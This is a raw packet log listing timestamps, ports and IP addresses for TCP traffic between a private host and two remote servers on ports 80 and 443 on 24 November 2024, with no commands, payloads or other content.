Nov 24, 2024 08:44:07.201478004 CET	49782	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.201491117 CET	443	49782	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.201502085 CET	49782	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.201507092 CET	443	49782	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.202752113 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.202919006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.202960968 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.204546928 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.204709053 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.204822063 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.205015898 CET	49787	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.205050945 CET	443	49787	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.205111027 CET	49787	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.205311060 CET	49787	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.205321074 CET	443	49787	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.206399918 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.206568956 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.206608057 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.208173037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.208184958 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.208233118 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.209640980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.209671974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.210057974 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.219258070 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.219269991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.219281912 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.219294071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.219357014 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.219357014 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.220566988 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.220733881 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.220803022 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.222028017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.222229004 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.222325087 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.223756075 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.223768950 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.223956108 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.225379944 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.225393057 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.225439072 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.226845026 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.226857901 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.226922035 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.228447914 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.228630066 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.228673935 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.229888916 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.229901075 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.229953051 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.231429100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.231591940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.231641054 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.233011007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.233022928 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.233093977 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.234431028 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.234452009 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.234493017 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.235858917 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.235964060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.236013889 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.237440109 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.237545013 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.237591028 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.238961935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.239516020 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.239562988 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.241780043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.241792917 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.241866112 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.242033005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.242125034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.242172956 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.243571043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.243649960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.243699074 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.245074034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.245246887 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.245297909 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.246629000 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.246726036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.246774912 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.248174906 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.248255968 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.248301983 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.249682903 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.249806881 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.249847889 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.251260042 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.251303911 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.251343966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.252856016 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.252975941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.253022909 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.254301071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.254406929 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.254456997 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.255887985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.255974054 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.256021976 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.257384062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.257519960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.257566929 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.258923054 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.259032965 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.259082079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.260472059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.260603905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.260654926 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.262006044 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.262080908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.262124062 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.263533115 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.263607025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.263648987 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.265053988 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.265161991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.265222073 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.266625881 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.266732931 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.266793966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.268167973 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.268266916 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.268312931 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.269692898 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.269774914 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.269854069 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.271207094 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.271327972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.271373034 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.272762060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.272815943 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.272880077 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.274276018 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.274406910 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.274449110 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.275818110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.275928974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.275969028 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.277354956 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.277460098 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.277503014 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.278884888 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.279020071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.279062033 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.280430079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.280564070 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.280603886 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.281965017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.282071114 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.282124996 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.283497095 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.283601046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.283642054 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.285058022 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.285151958 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.285192013 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.286560059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.286658049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.286689997 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.288099051 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.338438034 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.381915092 CET	443	49783	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.381999016 CET	443	49783	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.382050037 CET	49783	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.382930040 CET	49783	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.382955074 CET	443	49783	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.382980108 CET	49783	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.382986069 CET	443	49783	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.387438059 CET	49788	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.387470961 CET	443	49788	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.387527943 CET	49788	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.393322945 CET	49788	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.393336058 CET	443	49788	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.400945902 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.401063919 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.401108980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.401523113 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.401654005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.401688099 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.402764082 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.402853966 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.402892113 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.404082060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.404195070 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.404232979 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.405232906 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.405333996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.405376911 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.406493902 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.406646013 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.406680107 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.407701015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.407712936 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.407757998 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.420835972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.420963049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.421005011 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.421375990 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.421619892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.421655893 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.421756029 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.422805071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.422847033 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.422902107 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.424030066 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.424082994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.424118042 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.425163984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.425204992 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.425257921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.426381111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.426414967 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.426534891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.427539110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.427575111 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.427639961 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.428747892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.428785086 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.428858995 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.429904938 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.429936886 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.430001974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.431082964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.431118011 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.431184053 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.432255983 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.432291031 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.432353973 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.433454990 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.433501959 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.433548927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.434681892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.434719086 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.434752941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.435821056 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.435858965 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.435986996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.437004089 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.437040091 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.437094927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.438246012 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.438288927 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.438354015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.439402103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.439435959 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.439492941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.440562010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.440597057 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.440677881 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.441742897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.441785097 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.441833019 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.442944050 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.442981005 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.443036079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.444124937 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.444227934 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.444247961 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.445275068 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.445300102 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.445318937 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.446542978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.446582079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.446607113 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.447729111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.447782993 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.447815895 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.448879957 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.448915958 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.448986053 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.450054884 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.450088978 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.450136900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.451237917 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.451275110 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.451330900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.452409029 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.452449083 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.452506065 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.453620911 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.453660965 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.453736067 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.454785109 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.454823971 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.454868078 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.455991030 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.456032991 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.456096888 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.457139015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.457178116 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.457222939 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.458414078 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.458451033 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.458533049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.459492922 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.459530115 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.459597111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.460654974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.460696936 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.460762978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.461877108 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.461920977 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.461990118 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.463135004 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.463191986 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.463211060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.464232922 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.464282036 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.464351892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.465445042 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.465478897 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.465555906 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.466634035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.466667891 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.466731071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.467791080 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.467828035 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.467900038 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.468978882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.469022989 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.469245911 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.470158100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.470194101 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.470326900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.471389055 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.471430063 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.471497059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.472529888 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.472565889 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.472631931 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.473781109 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.473817110 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.473957062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.474870920 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.474915981 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.496706963 CET	443	49784	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.496783972 CET	443	49784	13.107.246.63	192.168.2.10
